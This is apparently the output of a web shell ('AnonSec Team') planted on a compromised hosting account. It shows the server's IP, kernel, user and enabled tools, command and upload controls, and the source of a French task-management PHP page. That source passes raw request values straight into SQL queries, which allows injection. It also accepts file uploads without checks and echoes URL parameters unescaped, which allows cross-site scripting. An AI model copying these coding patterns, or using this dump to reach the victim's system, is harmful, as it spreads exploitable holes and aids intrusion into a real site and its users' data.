AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/fetch_record3.php
<?php

$date_heure_creation = date('d-m-Y h:i:s', time());

$date_heure_fin_tach = date('d-m-Y h:i:s', time());

include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;

if(!empty($_POST['update_tache']))
{

$salarie_id = $_POST['salarie_id'] ;
$client_id = $_POST['client_id'] ;

dbi_query("UPDATE `tache` SET `client_id` = '$client_id ', `salarie_id` = '$salarie_id', `tache_description` = '".$_POST['tache_description']."',
 `tache_titre_id` = '".$_POST['tache_titre_id']."' WHERE `tache`.`tache_id` = ".$_POST['update_tache']) ;

	header("Location:fetch_record.php?msg=Tache bien mofifié&color=success");

}

if($_POST['complete']=="complete")
{

	$tache_id = $_POST['tache_id'] ;

             list($numbre) = dbi_fetch_row(dbi_query(" SELECT count(*) as numbre FROM `sous_tache` WHERE `tache_id` = $tache_id  and sous_tache_status = 0 ")) ;

			 // echo "====> $numbre <br/>" ;
			 if($numbre == 0)
			 {


	if($_POST['tache_status']==1)
	{
	$tache_status = 1 ;
	}
	else{$tache_status = 0 ; }
	dbi_query("UPDATE `tache` SET `tache_status` = '$tache_status' WHERE `tache`.`tache_id` = ".$tache_id ) ;

	header('Location:fetch_record.php?msg= <strong> Bien : </strong>  Tache bien modifié&color=success');
			 }
			 else
			 {
			 // echo "  <br/>" ;
			 				 header("Location:fetch_record.php?msg= <strong> Attention : </strong> l'opération echoué, il a des sous taches non complétés !!!!!!&color=danger");

			 }


}

if(!empty($_GET['page']))
{

 $_SESSION["page"]=$_GET['page'] ;
 $_SESSION["rowid"]=$_GET['rowid'] ;
}


  $page =   $_SESSION["page"] ;
  $tache_id =  $_SESSION["rowid"] ;
  $_POST['rowid'] = $_SESSION["rowid"] ;

  // echo "=================> ". $tache_id."<br/>" ;



	if (!is_dir("documents"))
	{
		mkdir("documents", 0755) ;
		chmod("documents", 0755) ;
	}
		if (!is_dir("documents/clients"))
	{
		mkdir("documents/clients", 0755) ;
		chmod("documents/clients", 0755) ;
	}
		if (!is_dir("documents/intervenants"))
	{
		mkdir("documents/intervenants", 0755) ;
		chmod("documents/intervenants", 0755) ;
	}





$nomrep="documents/tache";


if((!empty($_FILES)) and (empty($_POST['Modifier'])))
{





	// echo "<pre>" ;
	// print_r($_FILES) ;
	// echo "<pre>" ;


	// echo "<pre>" ;
	// print_r($_POST) ;
	// echo "<pre>" ;


	// exit() ;SELECT client_id FROM `tache` WHERE `tache_id` = 118
           list($client_id)=  dbi_fetch_row(dbi_query( "SELECT client_id FROM `tache` WHERE `tache_id` = ".$tache_id)) ;
		   list($salarie_id)=  dbi_fetch_row(dbi_query( "SELECT salarie_id FROM `tache` WHERE `tache_id` = ".$tache_id)) ;

	       list($document_id)=  dbi_fetch_row(dbi_query( "SELECT max(doc_id) FROM `document_tache`")) ;
		  $document_id= $document_id + 1 ;
				  $target_dir = "documents/tache/";
				  $date_document = date('Ymd');
  $target_file = $target_dir."".$document_id."". basename(addslashes($_FILES["file"]["name"]));
  $uploadOk = 1;
  $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));


				 move_uploaded_file($_FILES["file"]["tmp_name"], $target_file) ;

				 // header("location: salarie_document.php?msg=Course added&color=success");

						$document_nom=addslashes($_POST['document_nom']) ;
						// $document_visibilite=$_POST['document_visibilite'] ;




						dbi_query("INSERT INTO document_tache (

						document_nom,
						client_id,
						tache_id,
						date_doc,
						salarie_id,
						document_emplacement )

						VALUES (

						'$document_nom',
						'$client_id',
					    '$tache_id',
						'$date_document',
						'$salarie_id',
						'$target_file'

					    )") ;
						header('Location:fetch_record2.php?msg=Document bien ajouté&color=success');





	}


  if(!empty($_POST['sous_tache_id']))
  {
	  // echo "bbbbbb <br/>" ;
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
// exit() ;


	 $sous_tache_designation=addslashes($_POST['sous_tache_designation']) ;
	 $sous_tache_status =  $_POST['sous_tache_status'] ;
	 $user_id = $_POST['user_id'] ;
	 $sous_tache_date_fin = $_POST['sous_tache_date_fin'] ;
	$sous_tache_id  = $_POST['sous_tache_id'] ;
$PRIORITAIRE = $_POST['PRIORITAIRE'];
	if($_POST['sous_tache_status'] == 0)
	{
		// echo "aaaa" ;
		// exit() ;


	dbi_query(" update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', PRIORITAIRE ='".$PRIORITAIRE."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'");
	}
	 else{
		 // echo "bbb" ;
		// exit() ;
		 $user_id_fin_tache = $_SESSION['MCPRO']['login']['4'] ;
		 	$date_fin = date('Ymd');
	dbi_query(" update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', PRIORITAIRE ='".$PRIORITAIRE."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."',date_heure_fin_tach = '".$date_heure_fin_tach."', user_id_fin_tache = '".$user_id_fin_tache."', date_fin = '".$date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'");
	 }

		// echo " update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'" ;
		// exit() ;

		header('Location:fetch_record.php?msg= <strong> Bien : </strong> sous tache bien modifié&color=success');
  }





if($_GET['sup']== 1)
{


	$que =dbi_query(" SELECT * FROM sous_tache WHERE `sous_tache_id` = ".$_GET['sous_tache_id']) ;

	while($que_sup= dbi_fetch_row($que))
	{
	$tache_id = $que_sup['tache_id'] ;
	$user_id = $que_sup['user_id'] ;
	$sous_tache_designation = $que_sup['sous_tache_designation'] ;
	$sous_tache_date_fin = $que_sup['sous_tache_date_fin'] ;
	$sous_tache_status = $que_sup['sous_tache_status'] ;
	$date_creation = $que_sup['date_creation'] ;
	$date_heure_creation = $que_sup['date_heure_creation'] ;
	$date_heure_fin_tach = $que_sup['date_heure_fin_tach'] ;
	$user_id_fin_tache = $que_sup['user_id_fin_tache'] ;
	$user_id_creation = $que_sup['user_id_creation'] ;

	$date_sup = date('Ymd');
	$user_sup = $_SESSION['MCPRO']['login']['4'] ;
	$date_heure_sup = date('d-m-Y h:i:s', time());


	}


	dbi_query("INSERT INTO `sous_tache_sup` (`sous_tache_id`, `tache_id`, `user_id`, `sous_tache_designation`, `sous_tache_date_fin`, `sous_tache_status`, `date_creation`, `user_id_creation`,
	`date_heure_creation`, `date_heure_fin_tach`, `user_id_fin_tache`, `user_sup`, `date_sup`, `date_heure_sup`) VALUES
	('', '$tache_id', '$user_id', '$sous_tache_designation', '$sous_tache_date_fin', '$sous_tache_status', '$date_creation', '$user_id_creation',
	'$date_heure_creation', '$date_heure_fin_tach', '$user_id_fin_tache', '$user_sup', '$date_sup', '$date_heure_sup')");
	dbi_query("DELETE FROM `sous_tache` WHERE `sous_tache`.`sous_tache_id`  =".$_GET['sous_tache_id']) ;

			header('Location:fetch_record.php?msg= <strong> Bien : </strong>sous tache bien supprimé&color=success');

}

if($_POST['ajout']== "ajout")
{

echo "<pre>" ;
print_r($_POST);
echo "</pre>" ;
exit() ;

$sous_tache_designation = addslashes ($_POST['sous_tache_designation']) ;
		    $sous_tache_date_fin = $_POST['sous_tache_date_fin'];
			$user_id = $_POST['user_id'];
			// $sous_tache_status = $_POST['sous_tache_status'][$index];
			$sous_tache_id = $_POST['sous_tache_id'][$index];
			$sous_tache_status  =  $_POST['sous_tache_status'];

			$today_p = date('Ymd');

	$res = dbi_query(" INSER INTO  sous_tache (tache_id,sous_tache_designation, sous_tache_date_fin,user_id, sous_tache_status,actif,date_creation,date_heure_creation)
				 VALUES  ('$tache_id','$sous_tache_designation','$sous_tache_date_fin','$user_id','$sous_tache_status','1','$today_p','$date_heure_creation')") ;
				 header('Location:fetch_record.php?msg= <strong> Bien : </strong> sous tache bien ajouté&#233;&color=success');

}

// $res = dbi_query(" INSERT INTO  sous_tache (sous_tache_designation, sous_tache_date_fin,user_id, sous_tache_status,tache_id,actif)
				 // VALUES  ('$sous_tache_designation','$sous_tache_date_fin','$user_id','$sous_tache_status','$tache_id','1')") ;

if($_POST['rowid']) {
    $id = $_POST['rowid'];
	$q= dbi_query("SELECT * FROM tache t , users u where  t.`user_id` = u.`user_id` and t.tache_id =".$id."" );
	$cl=dbi_fetch_row($q);
	if($cl['tache_Priorite']== 1)
					{
						$tache_Priorite= "Moyen" ;
					}
					elseif($cl['tache_Priorite']== 2)
					{
						 $tache_Priorite= "Haute" ;
					}
					elseif($cl['tache_Priorite']== 3)
					{
					$tache_Priorite= "Urgente" ;
					}

					if($cl['salarie_id']!= 0)
					{

										list($salarie_nom , $salarie_prenom)= dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$cl['salarie_id'])) ;
					 $salarie_id=  $cl['salarie_id'] ;
					     $chain_salarie =  $salarie_nom." ".$salarie_prenom ;
						 $chain_salarie = "<a href='TacheSalarie.php?salarie_id=$salarie_id' >".$chain_salarie."</a>" ;
					}
					if(empty($salarie_nom) AND empty($salarie_prenom))
					{
						 $chain_salarie =  " <strong> N.C </strong>" ;

					}



					if($cl['client_id']<100) // pour identifier les prospect car on peut pas faire la diffrence entre les prospect et les clients
					{


					  list($client_nom)= dbi_fetch_row(dbi_query("SELECT prospect_nom   FROM `prospect` WHERE `prospect_id` = ".$cl['client_id'])) ;
					    $nom_de_client=$client_nom." (Prospect) " ;
					  $client_id=$cl['client_id'] ;

                    }
					else
					{

					  if($cl['client_id']!= 0)
					  {
					  list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom   FROM `client` WHERE `client_id` = ".$cl['client_id'])) ;
					    $nom_de_client=$client_nom ;
					  $client_id=$cl['client_id'] ;
					  $client_nom = "<a href='profilclient.php?client_id=$client_id' >".$client_nom."</a>" ;
					  }
					  else
					  { $client_nom = " <strong> N.C </strong>"; }

				    }

				   $date_creation = $cl['date_creation'] ;
				    $tache_description = $cl['tache_description'] ;
				   $userrr = $cl['user_nom']." ".$cl['user_prenom'] ;
				   // echo "==> $user <br/>" ;
}



?>


<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
	  <meta name="viewport" content="width=device-width, initial-scale=1">
	  <title>MC PRO | Page Type</title>

			<?php include('header.php'); ?>

	</head>

		<body class="hold-transition sidebar-mini">
			<div class="wrapper">

				<nav class="main-header navbar navbar-expand navbar-white navbar-light">
							<ul class="navbar-nav">
									<li class="nav-item">
											<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
									</li>
							</ul>
				</nav>

				<aside class="main-sidebar sidebar-dark-primary elevation-4">
					<a href="index3.html" class="brand-link">
							<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3" style="opacity: .8">
														<span class="brand-text font-weight-light">MC PRO</span>
					</a>
										<div class="sidebar">
												<div class="user-panel mt-3 pb-3 mb-3 d-flex">
															<div class="image">
																	<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
															</div>
																<div class="info">
																	<a href="#" class="d-block">Steeven ROBLOT</a>
																</div>
												</div>

													<?php include('menu.php') ?>

													<div  class="modal fade" id="myModal_doc" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
												 <div class="modal-dialog modal-lg">
													 <div class="modal-content data">
													 <div id="fetch_doc" ></div>


															 </div>
													 </div>
											 </div>

													 <div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
												 <div class="modal-dialog modal-lg">
													 <div class="modal-content data">
													 <div id="fetch" ></div>


															 </div>
													 </div>
											 </div>


											 <div class="modal fade" id="modal-tache">
															 <div class="modal-dialog modal-lg">
																 <div class="modal-content">
																	 <div class="modal-header">
																		 <h4 class="modal-title">Nouvelle Action</h4>
																		 <button type="button" class="close" data-dismiss="modal" aria-label="Close">
																			 <span aria-hidden="true">&times;</span>
																		 </button>
																	 </div>


																	 <div class="modal-body">


																			<div class="card-body">


														<form method="post" action="/pages/sms/send_message_sous_tache.php">
												<!-- ///////Ligne société & Catégorie -->
											 <!-- ///////Ligne -->
												 <div class="form-row">

													<?php

														 $today = date("Y-m-d");
														// echo " $today <br/>" ;
													?>

													<div class="form-group col-md-4">
														 <label for="inputsociete">Date</label>

												 <input type="date" class="form-control" id="end" name="sous_tache_date_fin" value="<?=$today?>">

													</div>






																 <?php $req_user =dbi_query("SELECT * FROM `users`") ; 	?>



																 <div class="form-group col-md-4">
														 <label for="inputsociete" >Affecté à </label>

																					 <!-- <input type="text" class="form-control"  name="number"  placeholder="jj/mm/aaaa"> -->

																						 <select required="required" class="form-control select2" name="user_id">
															 <option value="" selected="selected" disabled="disabled">-User-</option>
															 <?php
															 while(  $user=dbi_fetch_row($req_user))
															 {
															 ?>

																					 <option value="<?=$user['user_id']?>" ><?php echo $user['user_nom']." ".$user['user_prenom'];  ?></option>

																 <?php
															 }
															 ?>
																			 </select>



													</div>

														 <div class="form-group col-md-4"><!-- Liste déroulante établissement -->
																			 <label>Terminé</label>
															 <div class="input-group">
																			 <select class="form-control" name="sous_tache_status">
															 <option value="0"  > NON</option>
																				<option value="1"  > OUI</option>
																			 </select>
															 </div>
													 </div>











													 <div class="form-group col-md-4">
														 <label>Prioritaire </label>
													 <div class="input-group">

																					 <!-- <input type="text" class="form-control"  name="number"  placeholder="jj/mm/aaaa"> -->

																					 <select class="form-control" name="PRIORITAIRE"  id="PRIORITAIRE">

																							 <option value="0" selected > NON </option>
																							 <option value="1" > OUI </option>

																					 </select>
																				 </div>

													</div>



													<div class="form-group col-md-4">
														 <label>SMS </label>
													 <div class="input-group">

																					 <!--
																 il ma demandé de bolqué   les sms alors    <option value="0" > OUI </option>   au lieu <option value="1" > OUI </option>

																 <input type="text" class="form-control"  name="number"  placeholder="jj/mm/aaaa"> -->

																					 <select class="form-control" name="sms" id="sms">

																							 <option value="0" selected > NON </option>
																							 <option value="0" > OUI </option>


																					 </select>
																				 </div>

													</div>


												 &nbsp;&nbsp;














																		 <div class="form-group col-md-12">

															 <label for="inputAddresse">Désignation</label>


																<textarea class="" placeholder=""
																								 style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name="sous_tache_designation"   ></textarea>



															 </div>






















												 </div>

															 <input type="hidden" name="client_nom" value="<?php echo $nom_de_client ; ?>">
															 <input type="hidden" name="ajout" value="ajout">

																		 </div>

																	 </div>
																	 <div class="modal-footer justify-content-between">
																		 <button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
																		 <button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>

															 </form>
																	 </div>
																 </div>
																 <!-- /.modal-content -->
															 </div>
															 <!-- /.modal-dialog -->
														 </div>

										</div>
					</aside>


  <div class="content-wrapper">


									<div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
										<div class="modal-dialog modal-lg">
										<div class="modal-content data">
											<div id="fetch" >
											</div>

											</div>
										</div>
									</div>



									<div  class="modal fade" id="myModal3" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
										<div class="modal-dialog modal-lg">
										<div class="modal-content data">
											<div id="fetch3" >
											</div>

											</div>
										</div>
									</div>


		<section class="content-header">
			<div class="container-fluid">
				<div class="row mb-2">
					<div class="col-sm-6">
						<h1>Titre</h1>
					</div>
					<div class="col-sm-6">
						<ol class="breadcrumb float-sm-right">
							<li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
							<li class="breadcrumb-item"><a href="index.php">Lien 1</a></li>
							<li class="breadcrumb-item active">Titre</li>
						</ol>
					</div>
				</div>
			</div>
		</section>

				<section class="content">

					<?php
		if(isset($_GET["msg"])){
		?>
		<div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
		<?php echo $_GET["msg"]; ?>
		<button type="button" class="close" data-dismiss="alert" aria-label="Close">
		<span aria-hidden="true">&times;</span>
		</button>
		</div>
		<?php
		}
		?>

<!----------------- Première Section : 4 Box à utiliser pour les menus -->


					<div class="card">

		        <div class="card-body">
		          <div class="row">
		            <div class="col-12 col-md-12 col-lg-8 order-2 order-md-1">
		              <div class="row">
		                <div class="col-12 col-sm-4">
		                  <div class="info-box bg-light">
		                    <div class="info-box-content">
		                      <span class="info-box-text text-center text-muted">Date de création</span>
		                      <span class="info-box-number text-center text-muted mb-0"><?=int2date($date_creation)?></span>
		                    </div>
		                  </div>
		                </div>
		                <div class="col-12 col-sm-4">
		                  <div class="info-box bg-light">
		                    <div class="info-box-content">
		                      <span class="info-box-text text-center text-muted">Client</span>
		                      <span class="info-box-number text-center text-muted mb-0"><?php echo $client_nom ;  ?></span>
		                    </div>
		                  </div>
		                </div>
		                <div class="col-12 col-sm-4">
		                  <div class="info-box bg-light">
		                    <div class="info-box-content">
		                      <span class="info-box-text text-center text-muted">Salarié</span>
		                      <span class="info-box-number text-center text-muted mb-0"><?php echo $chain_salarie  ;  ?></span>
		                    </div>
		                  </div>
		                </div>
		              </div>




		              <div class="row">
		                <div class="col-12">
		                  <h3><button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-tache"><i class="fas fa-plus"></i> Action</button></h3>


		                  <?php
		                  $qa= dbi_query("SELECT * FROM `sous_tache` WHERE tache_id =  ".$tache_id." ORDER BY `sous_tache`.`date_heure_creation_forma_date` DESC") ;

		                  // echo "SELECT * FROM `sous_tache` WHERE tache_id =  ".$tache_id." ORDER BY `sous_tache`.`sous_tache_date_fin` DESC" ;

		                  while($soustache=dbi_fetch_row($qa))
		                  {

		                  list($user_nom_crea, $user_prenom_crea)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom  FROM `users` WHERE `user_id`  = ".$soustache['user_id_creation'] ));
		                  $user_chaine_crea = $user_nom_crea." ".$user_prenom_crea ;

		                  list($user_nom, $user_prenom)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom  FROM `users` WHERE `user_id`  = ".$soustache['user_id'] ));

		                  $user_chaine = $user_nom." ".$user_prenom ;
		                  if($soustache['sous_tache_status']==0){
		                  $badge = 'badge-danger';
		                  $sous_tache_status="<span class='badge ".$badge."'> Non </span>" ;
		                  }
		                  else{

		                  $badge = 'badge-success';
		                  $sous_tache_status="<span class='badge ".$badge."'> Oui </span>" ;

		                  }
		                  // ."==>".$soustache['sous_tache_id']

		                  ?>



		                  <?php
		                  }
		                  ?>



		                  <table id="example1" class="table table-hover">
		                    <thead>
		                    <tr>
		                <th></th>     		<!-- /.Table Client - Champs client_nom -->
		                <th>Actions</th>
		                <th></th>
		                <th></th> 				  <!-- /.Table Client - Champs client_adr1 -->
		                        <!-- /.Table Client - Champs client_cp -->
		                <th></th>
		                  <th></th>




		                    </tr>
		                    </thead>
		                    <tbody>
		                <?php
		                $qa= dbi_query("SELECT * FROM `sous_tache` WHERE tache_id =  ".$tache_id." ORDER BY `sous_tache`.`date_heure_creation_forma_date` DESC") ;

		                // echo "SELECT * FROM `sous_tache` WHERE tache_id =  ".$tache_id." ORDER BY `sous_tache`.`sous_tache_date_fin` DESC" ;

		                while($soustache=dbi_fetch_row($qa))
		                {

		                list($user_nom_crea, $user_prenom_crea)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom  FROM `users` WHERE `user_id`  = ".$soustache['user_id_creation'] ));
		                $user_chaine_crea = $user_nom_crea." ".$user_prenom_crea ;

		                list($user_nom, $user_prenom)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom  FROM `users` WHERE `user_id`  = ".$soustache['user_id'] ));

		                $user_chaine = $user_nom." ".$user_prenom ;
		                if($soustache['sous_tache_status']==0){
		                $badge = 'badge-danger';
		                $sous_tache_status="<span class='badge ".$badge."'> EN COURS </span>" ;
		                }
		                else{

		                $badge = 'badge-success';
		                $sous_tache_status="<span class='badge ".$badge."'> TERMINE </span>" ;

		                }
		                // ."==>".$soustache['sous_tache_id']

		                ?>

		                <tr data-widget="expandable-table" aria-expanded="true">

		                  <TD><?=$sous_tache_status?>  <strong> <?=$user_chaine ?> </strong></TD>
		                  <td> </td>
		                  <td></td>
		                  <td><?= int2date(date2int_DSI($soustache['sous_tache_date_fin']))?></td>
		                  <td align="center">
		                    <?php echo '<a class="btn btn-info btn-sm" href="#myModal"  id="custId" data-toggle="modal" data-id="'.$soustache['sous_tache_id'].'"><i class="fas fa-pencil-alt"></i> Editer</a>';?>
		                  </td>
		                  <td>  <a class="btn btn-danger btn-sm" href="fetch_record.php?sous_tache_id=<?=$soustache['sous_tache_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer ce sous tache ?');"><i class="fas fa-trash"></i> Supprimer</a>
		                </td>
		</tr>
		<tr class="expandable-body">
		  <td colspan="5">
		    <p>
		    <?="<i>".$user_chaine_crea." : </i>".$soustache['sous_tache_designation'] ?>
		    </p>
		  </td>
		  <td colspan="1">
		    <?php echo '<a class="btn btn-info btn-sm" href="#myModal"  id="custId" data-toggle="modal" data-id="'.$soustache['sous_tache_id'].'"><i class="fas fa-pencil-alt"></i></a>';?>

		  <a class="btn btn-danger btn-sm" href="fetch_record.php?sous_tache_id=<?=$soustache['sous_tache_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer ce sous tache ?');"><i class="fas fa-trash"></i></a>
		  </td>

		  </td>
		</tr>

		                <?php
		                }
		                ?>




		                    </tbody>

		                  </table>

		                  <table class="table table-hover">
		                    <thead>
		                      <tr>
		                        <th>Statut</th>
		                        <th>De</th>
		                        <th>Date de Création</th>
		                        <th>Date d'échéance</th>
		                        <th>Action</th>
		                      </tr>
		                    </thead>
		                    <tbody>
		                      <tr data-widget="expandable-table" aria-expanded="true">
		                        <td><?=$sous_tache_status?></td>
		                        <td> <?=$user_chaine ?></td>
		                        <td>11-7-2014</td>
		                        <td><?= int2date(date2int_DSI($soustache['sous_tache_date_fin']))?></td>
		                        <td>  <?php echo '<a class="btn btn-info btn-sm" href="#myModal"  id="custId" data-toggle="modal" data-id="'.$soustache['sous_tache_id'].'"><i class="fas fa-pencil-alt"></i></a>';?></td>
		                        <td><a class="btn btn-danger btn-sm" href="fetch_record.php?sous_tache_id=<?=$soustache['sous_tache_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer ce sous tache ?');"><i class="fas fa-trash"></i></a></td>
		                      </tr>
		                      <tr class="expandable-body">
		                        <td colspan="5">
		                          <p>
		                          De <?="<i>".$user_chaine_crea." : </i> ".$soustache['sous_tache_designation'] ?>....<?php echo '<a class="fas fa-pencil-alt" href="#myModal"  id="custId" data-toggle="modal" data-id="'.$soustache['sous_tache_id'].'"></i></a>';?>
		                          </p>
		                        </td>
		                      </tr>















		                    </tbody>
		                  </table>






		                </div>
		              </div>
		            </div>
		            <div class="col-12 col-md-12 col-lg-4 order-1 order-md-2">

					 <?  list($tache_sujet) =   dbi_fetch_row(dbi_query("  SELECT tache_sujet FROM `tache_titre` WHERE `tache_titre_id`  = ".$cl['tache_titre_id'] )) ;
		               if(empty($tache_sujet)){
						    $tache_sujet = $cl['tache_sujet'] ;
					   }
					 ?>


		              <h3 class="text-primary"    href="#myModal3"  id="custId" data-toggle="modal" data-id="<?=$tache_id?>" ><i class="far fa-edit" ></i> <?php echo $tache_sujet ;  ?></h3>
		              <p class="text-muted"><?=$tache_description?></p>
		              <br>
		              <div class="text-muted">
		                <p class="text-sm">Tâche créée par :
		                  <b class="d-block"><?=$userrr?></b>
		                </p>

		              </div>
					  <?php $q_d =   dbi_query("SELECT * FROM `document_tache` WHERE `tache_id` = ".$tache_id) ;



					  ?>

		              <h5 class="mt-5 text-muted">Pièces jointes</h5>
		              <ul class="list-unstyled">
					  <? while($q_doc=dbi_fetch_row($q_d)){
						   $nomrepp =  $q_doc['document_emplacement'] ;
						   ?>
		                <li>
		                  <a  href="<?=$nomrepp?>" class="btn-link text-secondary" target="_blank" ><i class="far fa-fw fa-file-word"></i> <?=$q_doc['document_nom']?></a>
		                </li>
					  <? }?>


		              </ul>
		              <div class="text-center mt-5 mb-3">
		                <a href="#myModal_doc"  id="custId" data-toggle="modal" type="button" class="btn btn-primary" ><i class="fas fa-download" ></i> Upload</a>




		              </div>
		            </div>
		          </div>
		        </div>
		        <!-- /.card-body -->
		      </div>

<!----------------- Première Card : Listes déroulantes avec des dates et un bouton + Tableau -->

					<div class="row">
						<div class="col-12">
							<div class="card">
								<div class="card-body">
									<div>
									<button type="button" class="btn btn btn-outline-primary"><i class="fas fa-plus"></i> Primary</button>
									&nbsp <button type="button" class="btn btn btn-outline-secondary"><i class="fas fa-search"></i> Secondary</button>
									&nbsp <button type="button" class="btn btn btn-outline-info"><i class="fas fa-plus"></i> Info</button>
								</div>
							  </br>

									<form class="form-horizontal">
		                <div class="card-body">
		                  <div class="form-group row">
		                    <label for="inputEmail3" class="col-sm-1 col-form-label">Email</label>
		                    <div class="col-sm-3">
		                      <input type="email" class="form-control" id="inputEmail3" placeholder="Email">
		                    </div>


		                    <label for="inputPassword3" class="col-sm-1 col-form-label">Password</label>
		                    <div class="col-sm-3">
		                      <input type="password" class="form-control" id="inputPassword3" placeholder="Password">
		                    </div>
												<div>
												<button type="submit" class="btn btn-primary">Afficher</button>
											</div>
										</div>
		                </div>
		              </form>





									<div class="card-body table-responsive p-0">
										<table class="table table-hover text-nowrap" id="example1">
											<thead>
												<tr>
													<th>ID</th>
													<th>User</th>
													<th>Date</th>
													<th>Status</th>
													<th>Reason</th>
													<th>Action</th>
												</tr>
											</thead>
											<tbody>
												<tr>
													<td>183</td>
													<td>John Doe</td>
													<td>11-7-2014</td>
													<td><span class="tag tag-success">Approved</span></td>
													<td>Bacon ipsum dolor sit amet salami venison chicken flank fatback doner.</td>
													<td class="text-right py-0 align-middle">
														<div class="btn-group btn-group-sm">
															<a href="#" class="btn btn-primary" title="Voir"><i class="fas fa-eye"></i></a>
															<a href="#" class="btn btn-info" title="Editer"><i class="fas fa-pencil-alt"></i></a>
															<a href="#" class="btn btn-danger" title = "Supprimer"><i class="fas fa-trash"></i></a>
														</div>
													</td>
												</tr>

											</tbody>
										</table>
									</div>


								   </div>
							   </div>
							</div>
						</div>

<!----------------- Deuxième Card : Listes déroulanteà droite + Tableau -->

						<div class="row">
							<div class="col-12">
								<div class="card">
									<div class="card-body">
										<div>
										<button type="button" class="btn btn btn-outline-primary"><i class="fas fa-plus"></i> Primary</button>
										&nbsp <button type="button" class="btn btn btn-outline-secondary"><i class="fas fa-search"></i> Secondary</button>
										&nbsp <button type="button" class="btn btn btn-outline-info"><i class="fas fa-plus"></i> Info</button>
									</div>
									<br/>

										<div class="form-group col-md-6 float-right">
											<div class="input-group">
											<select class="custom-select" id="exampleSelectRounded0">
											<option>- Tous les établissements - </option>
											<option>- Value 2 - </option>
											<option>- Value 3 - </option>
										</select>
											</div>
										</div>



										<div class="card-body table-responsive p-0">
											<table class="table table-hover text-nowrap" id="example1">
												<thead>
													<tr>
														<th>ID</th>
														<th>User</th>
														<th>Date</th>
														<th>Status</th>
														<th>Reason</th>
														<th></th>
													</tr>
												</thead>
												<tbody>
													<tr>
														<td>183</td>
														<td>John Doe</td>
														<td>11-7-2014</td>
														<td><span class="tag tag-success">Approved</span></td>
														<td>Bacon ipsum dolor sit amet salami venison chicken flank fatback doner.</td>
														<td class="text-right py-0 align-middle">
				                      <div class="btn-group btn-group-sm">
																<a href="#" class="btn btn-primary" title="Voir"><i class="fas fa-eye"></i></a>
																<a href="#" class="btn btn-info" title="Editer"><i class="fas fa-pencil-alt"></i></a>
																<a href="#" class="btn btn-danger" title = "Supprimer"><i class="fas fa-trash"></i></a>
				                      </div>
				                    </td>
													</tr>

												</tbody>
											</table>

										</div>
									</div>
								</div>
							</div>
						</div>


						<!----------------- Troisième Card : 2 Listes déroulantes + Tableau -->

												<div class="row">
													<div class="col-12">
														<div class="card">
															<div class="card-body">
																<div>
																<button type="button" class="btn btn btn-outline-primary"><i class="fas fa-plus"></i> Primary</button>
																&nbsp <button type="button" class="btn btn btn-outline-secondary"><i class="fas fa-search"></i> Secondary</button>
																&nbsp <button type="button" class="btn btn btn-outline-info"><i class="fas fa-plus"></i> Info</button>

															 </div>
															 <br/>
																<div class="row">
																<div class="form-group col-md-6">
																	<div class="input-group">
																	<select class="custom-select" id="exampleSelectRounded0">
																		<option>- Tous les établissements - </option>
																		<option>- Value 2 - </option>
																		<option>- Value 3 - </option>
																  </select>
																	</div>
																</div>

																<div class="form-group col-md-6">
																	<div class="input-group">
																	<select class="custom-select" id="exampleSelectRounded0">
																		<option>- Tous les établissements - </option>
																		<option>- Value 2 - </option>
																		<option>- Value 3 - </option>
																  </select>
																	</div>
																</div>

															</div>



																<div class="card-body table-responsive p-0">
																	<table class="table table-hover text-nowrap" id="example1">
																		<thead>
																			<tr>
																				<th>ID</th>
																				<th>User</th>
